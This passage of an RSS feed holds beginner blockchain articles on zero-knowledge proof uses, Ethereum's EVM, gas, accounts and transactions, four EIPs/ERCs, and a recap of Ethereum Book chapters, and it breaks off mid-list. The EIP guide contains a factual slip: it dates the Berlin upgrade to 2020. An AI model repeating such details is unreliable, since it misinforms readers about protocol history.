&lt;p&gt;This approach opens doors to powerful applications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anonymous voting&lt;/strong&gt;: prove your vote was valid without revealing it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Private whitelists&lt;/strong&gt;: prove membership in a group (via Merkle root) without showing which one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Private randomness&lt;/strong&gt;: commit to a number, later prove its properties (e.g., in a fair lottery)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Game actions&lt;/strong&gt;: prove you played by the rules without revealing your strategy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential systems&lt;/strong&gt;: prove you hold a credential without disclosing your identity&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Zero-knowledge isn’t just privacy — it’s about &lt;strong&gt;integrity without exposure&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you're exploring zero-knowledge or building real-world dApps, feel free to connect — I'd love to exchange ideas.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Written by Gil, a fullstack developer with 15+ years of experience, passionate about practical architecture, clean UX, and blockchain-powered applications.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/4349/a-clear-and-working-example-of-zero-knowledge-proofs-in-a-real-web3-application</guid>
<pubDate>Wed, 30 Jul 2025 11:25:49 +0000</pubDate>
</item>
<item>
<title> Understanding Ethereum: EVM, Blocks, Gas, Accounts &amp; Transactions Explained</title>
<link>https://coderlegion.com/4098/understanding-ethereum-evm-blocks-gas-accounts-transactions-explained</link>
<description>&lt;p&gt;Ethereum is more than just transfers of ETH — it’s a decentralized global computer powered by nodes and fueled by gas. Let’s break down its core components to help you grasp why it works the way it does.&lt;/p&gt;
&lt;h3 id=&quot;1-the-ethereum-virtual-machine-evm-&quot;&gt;1. The Ethereum Virtual Machine (EVM)&lt;/h3&gt;
&lt;p&gt;What it is: The EVM is the runtime engine powering Ethereum, a virtual CPU that runs smart contracts and processes transactions.&lt;/p&gt;
&lt;p&gt;Why it matters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;It ensures every node executes code deterministically, so all states stay in sync.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It supports a defined set of opcodes (like ADD, JUMP, SLOAD), with each costing gas based on the amount of computation required .&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;br&gt;
Think of Ethereum as a massive online code playground, and the EVM as the consistent engine that runs your code—even on someone else’s computer. Every time you press &quot;execute,&quot; it runs exactly the same way.&lt;/p&gt;
&lt;h3 id=&quot;-2-blocks-ethereum-s-time-capsules&quot;&gt;⛓️ 2. Blocks: Ethereum’s Time Capsules&lt;/h3&gt;
&lt;p&gt;What it is: Ethereum groups transactions into blocks, each containing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Block number, timestamp&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Gas limit (cap for total gas used) &amp;amp; gas used&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Transaction list, Merkle roots, parent hash, and proposer’s signature.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Blocks batch transactions to maintain consensus across nodes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Each block advances the state, forming a permanent ledger of changes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt; Blocks are like train cars, each carrying multiple passenger transactions and connected to the previous one to form a train—a never-ending ride.&lt;/p&gt;
&lt;h3 id=&quot;-3-gas-ethereum-s-fuel-meter&quot;&gt;⛽ 3. Gas: Ethereum’s Fuel Meter&lt;/h3&gt;
&lt;p&gt;What it is: Gas measures how much computation you're using. Every EVM opcode requires a specific gas amount .&lt;br&gt;
Why we pay gas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;It prevents spam and infinite loops.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It pays validators for computation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It ensures execution stays deterministic and bounded.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Gas Units vs. Gwei:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Gas units = computational steps&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Gwei = 10⁻⁹ ETH, used to price each gas unit.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Example with Analogy:&lt;/strong&gt;&lt;br&gt;
Imagine riding a motorbike:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Distance = gas units&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fuel price per km = base fee + priority tip&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You load your bike with just enough fuel (gas limit) and tip for priority service (priority fee).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;4-accounts-eoas-vs-contract-accounts&quot;&gt;4. Accounts: EOAs vs. Contract Accounts&lt;/h3&gt;
&lt;p&gt;Ethereum has two account types&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. EOA (Externally Owned Account)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Controlled by a private key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can initiate transactions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;No code, just ETH balance&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Contract Account&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Live code at an address&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can store data, and run logic when triggered&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cannot initiate transactions—EOAs must call them&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;br&gt;
EOAs are like people with wallets, while contract accounts are like vending machines: they respond to your actions, they can hold funds, but they don’t make moves on their own.&lt;/p&gt;
&lt;h3 id=&quot;5-transactions-state-changing-actions&quot;&gt;5. Transactions: State-Changing Actions&lt;/h3&gt;
&lt;p&gt;What they are: The only way to change Ethereum’s state (send ETH, create contracts, interact with smart contracts).&lt;/p&gt;
&lt;p&gt;Transaction content includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;from, to, value, nonce&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;gasLimit, maxFeePerGas, maxPriorityFeePerGas&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;data (optional), signature components&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Stages of a transaction:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Signed by your private key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Broadcast to mempool&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Picked by a validator&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Executed, state updated, included in a block&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Block finalized—permanent record&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Analogy:&lt;/strong&gt;&lt;br&gt;
Think of it like ordering at a busy coffee shop:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You put in your order (transaction)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It goes on the queue (mempool)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A barista (validator) makes it (executes)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You wait until they confirm your order is done (block inclusion)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You finally drink it when it’s served (finalization)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;recap-table&quot;&gt;Recap Table&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Component       &lt;/th&gt;&lt;th&gt;What It Does                              &lt;/th&gt;&lt;th&gt;Why It Matters&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EVM&lt;/strong&gt;         &lt;/td&gt;&lt;td&gt;Runs smart contract bytecode              &lt;/td&gt;&lt;td&gt;Ensures consistent behavior across all nodes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Blocks&lt;/strong&gt;      &lt;/td&gt;&lt;td&gt;Batch transactions into permanent records &lt;/td&gt;&lt;td&gt;Maintain global state and ledger&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Gas&lt;/strong&gt;         &lt;/td&gt;&lt;td&gt;Measures computation, controls use        &lt;/td&gt;&lt;td&gt;Prevents abuse, rewards validators&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EOA&lt;/strong&gt;         &lt;/td&gt;&lt;td&gt;User-controlled account with balance      &lt;/td&gt;&lt;td&gt;Initiate transactions&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Contract&lt;/strong&gt;    &lt;/td&gt;&lt;td&gt;Code and state living on-chain            &lt;/td&gt;&lt;td&gt;Enables programmable logic&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Transaction&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;Signed messages changing state            &lt;/td&gt;&lt;td&gt;The only way to interact with Ethereum&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;why-this-matters&quot;&gt;Why This Matters&lt;/h3&gt;
&lt;p&gt;By understanding these pillars:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You’ll optimize gas usage&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Avoid common errors like low gas limits&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build or interact with contracts more confidently&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Understand transaction lifecycles and how fees work&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/4098/understanding-ethereum-evm-blocks-gas-accounts-transactions-explained</guid>
<pubDate>Thu, 17 Jul 2025 19:22:29 +0000</pubDate>
</item>
<item>
<title>What the Heck Are EIPs and ERCs? A Beginner’s Guide to 4 Ethereum Upgrades You’ve Never Heard Of</title>
<link>https://coderlegion.com/4097/what-the-heck-are-eips-and-ercs-a-beginners-guide-to-ethereum-upgrades-youve-never-heard-of</link>
<description>&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;They might not trend on Crypto Twitter—but without them, Ethereum wouldn't run this smooth. - Allan Robinson&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;what-are-eips-and-ercs-&quot;&gt;What Are EIPs and ERCs?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EIPs (Ethereum Improvement Proposals)&lt;/strong&gt; are Ethereum’s official feature requests or improvements, typically targeting protocol-level changes (e.g., transaction formats, gas fees).&lt;br&gt;
&lt;strong&gt;ERCs (Ethereum Request for Comments)&lt;/strong&gt; are a subset of EIPs focused on smart contract standards, used to ensure compatible interfaces across dApps.&lt;/p&gt;
&lt;p&gt;They emerged as community-driven blueprints to evolve Ethereum in a consistent, transparent, and coordinate-driven way.&lt;/p&gt;
&lt;h3 id=&quot;history-amp-impact&quot;&gt;History &amp;amp; Impact&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The EIP process began with EIP-1 in 2015 to formalize how Ethereum should evolve.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Early successful proposals like EIP-20 (ERC-20) established core patterns for the ecosystem.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Over time, new needs arose: better transaction gas efficiency, clearer contract interoperability, and fairer developer incentives.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Thanks to EIPs and ERCs, Ethereum continues to grow backward-compatible while integrating new features without breaking older systems.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-deep-dive-into-4-selected-standards&quot;&gt;️ Deep Dive into 4 Selected Standards&lt;/h3&gt;
&lt;h4 id=&quot;1-eip-2930-access-lists-core-transaction-format-&quot;&gt;1. EIP‑2930: Access Lists (Core / Transaction Format)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt; Overview&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Introduced in Berlin (2020) as part of a suite addressing storage cost spikes (alongside EIP-2929)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lets you pre-declare which contract addresses/storage slots your tx will access.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Those slots are “pre-warmed” at lower cost, avoiding high “cold” access charges.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Saves ~200 gas per storage access&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reduces volatility and DoS attack risk from expensive cold storage.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-drawbacks&quot;&gt;❌ Drawbacks&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Requires users/devs to predict exactly which slots will be used—mistakes can cost more gas than savings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Adoption has been low: just ~1.5% of txs use it despite 42% potential benefit&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy&quot;&gt;⚙️ Analogy&lt;/h5&gt;
&lt;p&gt;Think of it like a grocery preorder: tell the store what you’ll need in advance and skip checkout lines—but if you order the wrong things, you wasted time and money.&lt;/p&gt;
&lt;h4 id=&quot;2-eip-7547-inclusion-lists-core-block-assembly-&quot;&gt;2. EIP‑7547: Inclusion Lists (Core / Block Assembly)&lt;/h4&gt;
&lt;h5 id=&quot;overview&quot;&gt;Overview&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A new proposal letting block proposers force inclusion of specific transactions in a block, reducing censorship&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Especially useful for front-running, MEV-resistant applications.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits-1&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Enhances fairness and censorship resistance in the mempool.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Empowers transaction originators to battle MEV-based exclusion.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-considerations&quot;&gt;⚠️ Considerations&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Still under development.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Needs client &amp;amp; tooling support to become practical.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy-1&quot;&gt;⚙️ Analogy&lt;/h5&gt;
&lt;p&gt;It’s like a VIP pass for users who want to ensure their ticket gets scanned even during rush hour.&lt;/p&gt;
&lt;h4 id=&quot;3-erc-165-interface-detection-contract-interface-standard-&quot;&gt;3. ERC‑165: Interface Detection (Contract Interface Standard)&lt;/h4&gt;
&lt;h5 id=&quot;overview-1&quot;&gt;Overview&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Standardizes how contracts announce which interfaces they implement—used widely since 2018&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Contracts implement supportsInterface(bytes4 interfaceID) so others can detect capabilities.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits-2&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Enables dynamic compatibility checks for wallets/dApps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Avoids hard-coded assumptions, reducing risk of breakage.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-drawbacks-1&quot;&gt;❌ Drawbacks&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Needs explicit implementation—some contracts skip it to save gas.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Only covers declared interfaces; doesn’t guarantee full compliance.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy-2&quot;&gt;⚙️ Analogy&lt;/h5&gt;
&lt;p&gt;Like a software installer that checks if your system supports .NET 6 before installation—no surprises later.&lt;/p&gt;
&lt;h4 id=&quot;4-eip-6969-revenue-sharing-contracts-erc-token-amp-wallet-standard-&quot;&gt;4. EIP‑6969: Revenue-Sharing Contracts (ERC – Token &amp;amp; Wallet Standard)&lt;/h4&gt;
&lt;h5 id=&quot;overview-2&quot;&gt;Overview&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A new proposal for sharing transaction fees (beyond ETH’s built-in burn/tip) with contract creators&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Users opt-in to send a developer fee to the dApp creator on each use.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits-3&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Creates an incentive model for public dApps to be sustainable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Offers an optional “tip” model for open-source contract authors.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-controversies&quot;&gt;⚠️ Controversies&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;May discourage usage if tips are high.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Needs to balance opt-in vs auto-fee structures.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy-3&quot;&gt;⚙️ Analogy&lt;/h5&gt;
&lt;p&gt;Like paying 10% tip for offline delivery services you trust—optional but appreciated.&lt;/p&gt;
&lt;h3 id=&quot;comparison-table&quot;&gt;Comparison Table&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;EIP/ERC      &lt;/th&gt;&lt;th&gt;Category       &lt;/th&gt;&lt;th&gt;Purpose                                   &lt;/th&gt;&lt;th&gt;Adoption Status&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EIP‑2930&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;Core / Tx      &lt;/td&gt;&lt;td&gt;Improve gas for predefined access         &lt;/td&gt;&lt;td&gt;Low adoption (\~1.5%)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EIP‑7547&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;Core / Blocks  &lt;/td&gt;&lt;td&gt;Censorship resistance via inclusion lists &lt;/td&gt;&lt;td&gt;Early draft&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ERC‑165&lt;/strong&gt;  &lt;/td&gt;&lt;td&gt;Interface      &lt;/td&gt;&lt;td&gt;Standard method to declare support        &lt;/td&gt;&lt;td&gt;Widely adopted (NFTs, tokens)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EIP‑6969&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;ERC / Payments &lt;/td&gt;&lt;td&gt;Revenue-sharing tips to contract authors  &lt;/td&gt;&lt;td&gt;Emerging interest&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;final-takeaways&quot;&gt;Final Takeaways&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Access Lists (EIP‑2930) streamline gas costs—but you must think ahead.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Inclusion Lists (EIP‑7547) will help fairness in transaction ordering, ideal for censor-resistant apps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ERC‑165 remains vital for automatic interface compatibility, powering wallet and dApp integrations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Revenue-sharing (EIP‑6969) introduces an open tipping model, potentially sustaining free-to-use contracts.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;why-these-matter-for-beginners&quot;&gt;Why These Matter for Beginners&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Understanding why these standards were invented helps future developers reason about protocol design and usability, not just code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Seeing each EIP as a solution to a real problem—gas costs, censorship, interface detection, developer sustainability—makes you think like a protocol designer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Analogies keep concepts memorable and relatable.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Standards aren’t just code—they shape how Ethereum grows. - Allan Robinson&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/4097/what-the-heck-are-eips-and-ercs-a-beginners-guide-to-ethereum-upgrades-youve-never-heard-of</guid>
<pubDate>Thu, 17 Jul 2025 19:21:14 +0000</pubDate>
</item>
<item>
<title> Unlocking Ethereum: From Magic Money to Math-Powered Machines</title>
<link>https://coderlegion.com/3932/unlocking-ethereum-from-magic-money-to-math-powered-machines</link>
<description>&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;Not all computers live in your house. Some live everywhere.&quot;&lt;/strong&gt; — &lt;em&gt;Allan Robinson&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;hey-there-curious-builder-&quot;&gt;Hey there, curious builder!&lt;/h3&gt;
&lt;p&gt;If you’ve been following along on this journey from Chapter 1 to Chapter 4 of the Ethereum Book, congratulations! You’ve taken your first real steps into understanding what makes Ethereum the beating heart of the Web3 revolution. But now, let’s tie it all together.&lt;/p&gt;
&lt;p&gt;This article will serve as your grand recap. We’ll walk back through the major milestones you’ve hit — from installing MetaMask to unraveling the mathematical magic behind Ethereum addresses. But we’re going deeper this time, with clear explanations, descriptive breakdowns, and some jokes and analogies to make it fun.&lt;/p&gt;
&lt;h4 id=&quot;chapter-1-ethereum-the-decentralized-world-computer&quot;&gt;Chapter 1: Ethereum — The Decentralized World Computer&lt;/h4&gt;
&lt;p&gt;Ethereum is not just a cryptocurrency.&lt;br&gt;
It’s a decentralized world computer, where code is law and contracts live forever.&lt;/p&gt;
&lt;p&gt;Imagine the internet, but with programmable money and no central administrator.&lt;br&gt;
That’s Ethereum.&lt;/p&gt;
&lt;p&gt;In this chapter, we:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Installed MetaMask, your Web3 portal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Created a wallet (a safe for your digital coins).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Funded it using a testnet faucet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sent and received Ether — the fuel of Ethereum.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;Think of Ether as gas in a car. Ethereum is the engine. Smart contracts are the destination.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ethereum allows anyone to deploy smart contracts — bits of code that live and operate independently on the blockchain. These contracts can't be tampered with once deployed. That’s a game-changer for trust, accountability, and decentralization.&lt;/p&gt;
&lt;h4 id=&quot;chapter-2-wallets-contracts-and-the-machine-brain&quot;&gt;Chapter 2: Wallets, Contracts, and the Machine Brain&lt;/h4&gt;
&lt;p&gt;Once your MetaMask wallet was ready, you discovered two types of accounts:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Externally Owned Accounts (EOAs):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Controlled by private keys.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can initiate transactions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;These are your regular wallet accounts.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Contract Accounts:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Controlled by code, not keys.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can hold Ether and respond to transactions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cannot initiate transactions but can react to them.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We even wrote our first smart contract: Faucet.sol.&lt;/p&gt;
&lt;p&gt;It allowed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Users to withdraw up to 0.1 ETH.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anyone to send ETH to it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You deployed it on a testnet using Remix IDE.&lt;/p&gt;
&lt;p&gt;This was your first encounter with the Ethereum Virtual Machine (EVM) — the brain that runs all smart contracts in the Ethereum world. Think of it as a global computer made up of thousands of nodes all syncing together.&lt;/p&gt;
&lt;h4 id=&quot;chapter-3-amp-4-cryptography-ethereum-s-security-backbone&quot;&gt;Chapter 3 &amp;amp; 4: Cryptography — Ethereum’s Security Backbone&lt;/h4&gt;
&lt;p&gt;Ethereum is secure by math, not by secrecy.&lt;/p&gt;
&lt;p&gt;This is where things got spicy.&lt;br&gt;
We talked cryptography — the silent engine that makes Ethereum work.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Cryptography doesn’t hide data, it proves truths.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Public key cryptography (asymmetric cryptography).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Digital signatures.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Trapdoor functions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Elliptic curve cryptography.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Private Keys:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A private key is just a really big random number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It gives you control over your Ethereum wallet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It must NEVER be shared. Sharing your private key = giving away your money.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;Your private key is your soul. Lose it, and your crypto reincarnates into someone else's wallet.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;️ Public Keys:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Derived from the private key using elliptic curve multiplication.&lt;/p&gt;
&lt;/li&gt;
